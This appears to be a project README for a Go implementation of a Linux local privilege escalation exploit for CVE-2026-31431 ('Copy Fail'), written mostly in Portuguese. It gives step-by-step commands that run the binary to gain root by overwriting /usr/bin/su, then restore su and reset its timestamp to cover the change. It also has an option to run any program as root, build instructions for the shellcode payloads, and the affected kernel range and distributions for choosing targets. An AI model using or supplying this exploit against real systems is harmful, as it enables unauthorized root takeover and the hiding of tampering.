
Uma implementação em Go do copyfail (CVE-2026-31431)
A maioria dos LPEs do Linux precisa de uma janela de corrida ou de um offset específico do kernel. Copy Fail é uma falha lógica em linha reta — não precisa de nenhum dos dois. O mesmo
script Python de 732 bytesbinário Go estático dá root a todas as distribuições Linux lançadas desde 2017.
Uma implementação em Go do CVE-2026-31431. Para o caso de você precisar de um binário estático e sem dependência de Python.
Veja copy.fail para mais informações.
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
root@host# rm /tmp/su
root@host# # Do things as root =)
Útil para elevar um programa a root
# Get the binary to your Linux host with code execution (exercise for the reader)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # Use whatever you ran to restore su from /tmp/su
Compile os payloads você mesmo com payloads/build-n-print.sh em um host Debian (Debian 13 testado).
Você precisará de apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf e então executar o script a partir do diretório de payloads. Ele compilará cada payload e gerará as strings hexadecimais comprimidas com zlib. Compare-as com o que está em main.go (ou substitua-as pelas suas próprias) e compile os binários copyfile-go com goreleaser build --snapshot --clean a partir do diretório principal do projeto.
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
(AF_ALG iov_iter rework that
introduced the file-page write
primitive via splice into the AEAD
scatterlist)
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
(reverts the 2017 algif_aead
in-place optimization; separates
source and destination scatterlists
so page-cache pages can no longer
be a writable crypto destination)
No intervalo: todos os kernels das principais distribuições que não aplicaram o backport da correção.
Ubuntu, RHEL, SUSE, Amazon Linux e Debian foram todos confirmados vulneráveis
em seus kernels padrão de imagens de nuvem no momento da divulgação. Backports
em nível de distribuição começaram a ser lançados por volta de 2026-04-29 junto com a
divulgação pública. Para verificar se um kernel alvo está na janela, verifique se
a664bf3d603d (ou seu backport específico da distribuição) está presente no
git log do kernel ou no changelog da distribuição.